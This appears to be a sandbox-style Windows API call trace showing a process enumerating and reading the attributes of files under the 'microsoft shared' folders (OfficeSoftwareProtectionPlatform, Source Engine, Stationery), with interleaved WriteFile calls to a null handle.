	[0241.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0241.658] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.658] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.658] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0241.658] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0241.662] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.662] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1
	[0241.662] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.662] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0241.663] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48)) returned 1
	[0241.674] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0241.679] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0241.680] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0241.681] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.681] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0241.683] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff)) returned 1
	[0241.687] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.688] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432)) returned 1
	[0241.709] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.709] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.709] SetEvent (hEvent=0xf0) returned 1
	[0241.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285)) returned 1
	[0241.719] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7)) returned 1
	[0241.735] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f)) returned 1
	[0241.750] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.751] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
